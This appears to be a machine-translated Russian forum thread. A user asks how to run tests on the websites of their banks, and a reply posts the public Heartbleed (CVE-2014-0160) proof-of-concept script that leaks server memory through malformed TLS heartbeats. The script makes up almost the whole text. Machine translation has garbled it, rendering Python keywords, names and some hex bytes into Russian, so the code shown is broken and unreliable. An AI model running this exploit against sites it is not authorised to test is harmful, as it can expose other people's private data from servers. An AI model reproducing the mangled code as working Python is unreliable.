зиний,
Это то, что я не знаю, как это сделать, отправить эти звоны.
Это то, что вы делаете в командной строке?
Все я узнаю из вашего поста является "ру"
это питон код?
Пожалуйста, объясни. Я хотел бы иметь возможность запускать тесты на сайтах банков, в которых у меня есть счета и другие веб-сайты, чья безопасность важна для меня.
это heartbleed демонстрационный скрипт в Python. так как я забыл, где я получил его, и заголовок говорит, что это общественное достояние, я выложу его здесь.
#! / USR / бен / окр python2
# Быстрая и грязная демонстрация CVE-2014-0160 Джаред Стаффорд (jspenguin@jspenguin.org)
# Автор отказывается от авторских прав на этот исходный код.
импорт SYS
импорт структура
гнездо импорта
время импорта
импорт выберите
импорт повторно
от optparse импорта OptionParser
Варианты = OptionParser (использование = '% сервер проги [опция]', описание = 'Test для SSL сердцебиения уязвимости (CVE-2014-0160)')
options.add_option ( '- р', '--port', тип = 'INT', по умолчанию = 443, помощь = 'TCP-порт для тестирования (по умолчанию: 443)')
options.add_option ( '- s', '--starttls', действие = 'store_true', по умолчанию = False, помощь = 'Проверить STARTTLS')
options.add_option ( '- d', '--debug', действие = 'store_true', по умолчанию = False, помощь = 'Включить отладочный вывод')
Защиту h2bin (х):
вернуться x.replace (»», '') .Привернуть ( '\ п', '') .decode ( 'шестигранной')
Привет = h2bin ( ''»
16 03 02 00 01 00 DC 00 d8 03 02 53
43 5b 90 9d 9b 72 0b Ьс 0c Ьс 2b 92 а8 48 97 ср
шд 39 04 куб.см 16 0A 85 03 90 77 04 9f 33 d4 де 00
00 66 14 с0 с0 0a с0 22 с0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1б 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
с0 с0 1f 1e 00 33 00 32 00 00 99 9a 00 45 00 44
с0 0e с0 04 00 2f 00 96 00 41 11 с0 с0 07 с0 0c
c0 00 05 02 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 00 FF 00 +01 +49 00 0B 00 04
03 00 01 02 00 0A 34 00 00 32 00 00 0e 0дн 00 19
00 0B 00 0C 00 18 00 09 00 0A 16 00 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 10 00 00 11 00 23 00 00
00 0f 00 01 01
'' ')
ПП = h2bin ( ''»
18 03 02 00 03
01 40 00
'' ')
Защита шестнадцатеричный (ы):
для Ь в xrange (0, Len (ы), 16):
лин = [с для с в с [Ь: Ь + 16]]
hxdat = '' .join ( '% 02X' % Ord (с) для с в лин)
PdAt = '' .join ((с, если 32 <= Ord (с) <= 126 еще '' ) Для с в лин)
Печать '% 04x:% -48s% s' % (б, hxdat, PdAt)
Распечатать
Защиту recvall (с, длина, тайм-аут = 5):
EndTime = time.time () + Тайм-аут
RDATA = ''
остаются = длина
пока остаются > 0:
RTIME = - время окончания time.time ()
если RTIME < 0:
возвращения None
г, ш, е = select.select ([с], [], [], 5)
если с в г:
Данные = s.recv (остаются)
# EOF?
если нет данных:
возвращения None
RDATA + = данные
остаются - = Len (данные)
возвращение RDATA
Защиту recvmsg (ы):
= recvall HDR (с, 5)
если не HDR None:
печать «Неожиданный конец файла приема заголовка записи - сервер закрыл соединение»
возвращения None, None, None
тип, версия, п = struct.unpack (»>BHH», HDR)
платить = recvall (с, пер, 10)
если оплата не None:
печать «Неожиданный конец файла приема записи полезной нагрузки - сервер закрыл соединение»
возвращения None, None, None
печать '... получил сообщение: тип =% d, версия =% 04x, длина =% d' % (тип, версия, длина (оплата))
вернуться станд, версия, платить
Защиту hit_hb (ы):
s.send (HB)
в то время как True:
тип, версия, оплатить = recvmsg (ы)
если тип не является None:
печать «Нет ответа сердцебиения получен, сервер, вероятно, не уязвим»
вернуться Ложные
если тип == 24:
печать «Received ответ пульса:»
шестнадцатеричная (оплата)
если Len (оплата) > 3:
печать 'ПРЕДУПРЕЖДЕНИЕ: сервер вернул больше данных, чем это необходимо - сервер уязвим!
еще:
печать 'Сервер обрабатывается искаженное сердцебиение, но не возвращает никаких дополнительных данных.
возвращающие
если тип == 21:
напечатает Получено предупреждение: '
шестнадцатеричная (оплата)
печать «Сервер вернул ошибку, скорее всего, не уязвим»
вернуться Ложные
Защита основные ():
OPTS, Args = options.parse_args ()
если LEN (арг) < 1:
options.print_help ()
вернуть
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
печать «Подключение ...»
sys.stdout.flush ()
s.connect ((арг [0], opts.port))
если opts.starttls:
Re = s.recv (4096)
если opts.debug: печать повторно
s.send ( 'EHLO starttlstest \ п')
Re = s.recv (1024)
если opts.debug: печать повторно
если не «STARTTLS» в ре:
если opts.debug: печать повторно
печать «StartTLS не поддерживается ...»
sys.exit (0)
s.send ( 'STARTTLS \ п')
Re = s.recv (1024)
Печать "Отправка клиента Hello ...
sys.stdout.flush ()
s.send (привет)
печать "Ожидание сервера Привет ...
sys.stdout.flush ()
в то время как True:
тип, версия, оплатить = recvmsg (ы)
если станд == None:
печать "Сервер закрыл соединение без отправки сервера Здравствуйте.
вернуть
# Посмотрите на сервер привет сделал сообщение.
если станд == 22 и Ord (получки [0]) == 0x0E:
ломать
печать "Отправка запроса сердцебиения ...
sys.stdout.flush ()
s.send (HB)
hit_hb (ы)
если __name__ == '__main__':
главный()